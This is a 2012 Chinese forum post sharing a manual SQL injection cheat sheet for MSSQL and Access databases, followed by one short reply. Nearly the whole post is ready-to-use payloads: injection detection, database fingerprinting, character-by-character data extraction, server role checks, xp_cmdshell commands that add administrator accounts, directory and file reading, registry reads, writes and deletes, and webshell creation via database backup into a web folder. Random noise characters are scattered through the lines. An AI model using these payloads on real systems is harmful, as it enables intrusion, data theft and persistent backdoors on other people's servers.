找回密码
 立即注册
查看: 3069|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入   R8 J" D- S) \) f% z
1.判断是否有注入;and 1=1 ;and 1=2 $ b5 Z: w5 \& o5 [0 G) l2 O9 |

! ?, C7 I  |7 Z; m2 m" i2.初步判断是否是mssql ;and user>0
; B& c8 E* y8 q7 c2 O5 Y8 V! y4 Y' R) w4 ]: _$ E
3.注入参数是字符'and [查询条件] and ''=' # Q& t7 c4 \: r8 {% g+ B

4 Y2 _/ _- K+ s/ }5 l" p$ B4.搜索时没过滤参数的'and [查询条件] and '%25'=' ) b( ^* X$ x3 s; ^# Z
, ^1 |1 E: t" y& @9 a
5.判断数据库系统 ) T0 E8 F4 r1 s6 K
;and (select count(*) from sysobjects)>0 mssql % N( G1 k5 w( f
;and (select count(*) from msysobjects)>0 access
9 d" R! L/ o$ I# Y9 p$ e- W6 }% `
6.猜数据库 ;and (select Count(*) from [数据库名])>0
4 O$ n4 |- W% V. \5 j/ i$ M8 d- n  e& ?4 j" R$ }0 G8 J  j. s) q
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ) R6 c, {9 Q6 C9 ~9 E9 `

8 b' z/ B0 z2 B; g" S0 z: H8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 % n, {" }) `. R  ?
/ ~5 ~2 c+ Q- [7 [: x- y
9.(1)猜字段的ascii值(access)
9 x$ o9 u& e2 z8 S;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 9 E& `7 o7 {- |  `; T+ u& p# e( e
* B9 @) _/ @9 N! i( y1 Z
(2)猜字段的ascii值(mssql)
7 U0 w9 q; q% w8 e. o5 g7 {: r) v;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
% R# \+ L7 H& V0 I  M/ i9 _. E
$ f! k$ l' R- s+ M10.测试权限结构(mssql)
  i7 M' c& E9 p5 ?;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 0 j9 @- S* w+ ?; Z  U: K3 R
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
" t! T. Z" ?! H6 };and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ( H7 M# |' I0 K1 y5 f( @: r
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- $ X6 r( E0 B/ |" P4 v0 K, s  A
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- * t  R0 R( o. M6 V) @6 ~  Y
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- # c5 @! e' v% T0 m) q# f
;and 1=(select IS_MEMBER('db_owner'));--
) x! U. J# F- n% y4 s- j2 ~; c% L0 b* P4 ?% E2 b
11.添加mssql和系统的帐户
; ~) d$ d4 K/ c" \;exec master.dbo.sp_addlogin username;--
: C2 K: U# ?- s+ C
# g$ |) N. ~) P% K; g$ }% f;exec master.dbo.sp_password null,username,password;-- 3 ~% \2 U4 f* E0 `

& {1 A/ }- z' S$ J: G3 \9 H;exec master.dbo.sp_addsrvrolemember sysadmin username;--   k; C( `! C( p$ w, m2 I

6 c: s) w! g$ q7 I6 I! G;exec master.dbo.xp_cmdshell 'net user username password 3 f& @1 W  ^$ }; m0 [! ?
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
+ D% ?, {8 z9 d6 A% ]2 n, K. ~
, s- S% e; b9 B$ Z& J! U+ r;exec master.dbo.xp_cmdshell 'net user username password /add';-- 1 P8 a5 `) c) O* w

5 I* b7 R( O- R: I0 W1 C' J;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 7 i8 t6 N9 b( D8 v/ X0 q

. n3 ?7 ]& W9 ?  B: ^12.(1)遍历目录 7 E5 K' m  v6 g, ~! k0 i3 y
5 d" a% \3 v1 A* c) K! ?
;create table dirs(paths varchar(100), id int)
3 T* }5 B7 |! S3 I2 _% w! z;insert dirs exec master.dbo.xp_dirtree 'c:\'
$ E0 _! T+ y8 ~;and (select top 1 paths from dirs)>0 & s1 n( n, k4 a$ [
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
/ u. N& T, a* R# R- M: H) y
! N. s7 |7 r. O9 q(2)遍历目录
$ E& e( o9 B4 ]- m) ], [1 o;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
( ]6 C8 t# S+ U3 n, c7 h, o6 \2 y;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
& }4 B+ D. f: O7 N;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
% N3 t- X/ h) e8 w, @+ D7 B;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 - w$ d$ g! A" T5 C7 F+ {/ d
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 * T$ y0 v  C' P6 R; O9 r! o

) ~% p$ H9 b% \) a7 c13.mssql中的存储过程 . X+ ?5 i$ K! u3 ?; Y) {6 m
6 `3 N; [2 ^' D3 A! H' l. K+ W
xp_regenumvalues 注册表根键, 子键
# S$ i! L3 A5 n1 P  z& L: g1 z;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
- R( `! A$ P% e7 r
( D, I/ U6 h% r5 ixp_regread 根键,子键,键值名
6 P2 ?6 k' N) h5 m# U0 W  Q+ l;exec xp_regread
$ N  I2 ?) H2 F2 V* h; a'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 n$ e8 O  x% }0 w: N1 E
5 T/ o( L. }% [! Yxp_regwrite 根键,子键, 值名, 值类型, 值   K2 f3 j1 `( t, N" ?- K- ?4 ?. ^
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 0 g& V/ P3 P$ O! J; W: U8 q' e
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ! `1 c' U0 C: X" h; K% I1 `+ U; j5 [
( ?3 k% G1 H9 k+ z5 L0 X
xp_regdeletevalue 根键,子键,值名 / Q9 H. z4 K* J
; P  L; @% ]' n' S
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 " N$ K6 \  I2 I% q

  u7 a0 S9 O7 R. oxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
) e  B5 u1 f% R% O6 b  q3 B9 J  }4 l7 T' R
14.mssql的backup创建webshell
- [- B7 r! b* u1 P. o* ~0 D6 w5 muse model
( F$ n/ I4 |5 o7 Xcreate table cmd(str image); 1 \. j$ s' A& h$ K9 S8 j
insert into cmd(str) values (''); 0 H$ v6 P5 |% t3 D
backup database model to disk='c:\l.asp'; 2 S- b8 A2 j; h. _4 E4 m9 @

$ V7 |# Y0 n4 ?2 G/ ?7 [, M7 Z0 C15.mssql内置函数
: A' G. A) h# Z9 W6 K; y;and (select @@version)>0 获得Windows的版本号
* Z  |2 ]# f( A) ?7 x  R;and user_name()='dbo' 判断当前系统的连接用户是不是sa 1 c3 X2 Q1 o) h* C' D8 t% C. o5 Y4 m
;and (select user_name())>0 爆当前系统的连接用户
2 ~  w- u0 @9 U$ w/ b8 a7 P;and (select db_name())>0 得到当前连接的数据库 ' X: F! m  n$ g
& O# L3 e* X+ Q, q9 U. n: S. S+ ~: |
16.简洁的webshell
% C; o" e! s% T8 j6 ^7 S; E. ^" _0 m4 o) H. T
use model $ k" W. y4 V/ ~: B* N8 w, J# }) ~, _+ K

9 X7 u+ ^4 q( ?' F( z' Ocreate table cmd(str image); ) A* ]3 b/ K0 I- G0 y5 }
  _" u2 K. w" u3 \3 h4 t+ f  j. ?
insert into cmd(str) values ('');
1 q* w' x3 i: P* X% T# S$ Q) ?8 V" r7 J8 R3 z( l6 A0 L7 D
backup database model to disk='g:\wwwtest\l.asp';
+ B8 C, Y/ X* ?4 R; Q! M3 s5 c! Q
5 _3 g; ^& Y5 @% X; f; p
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表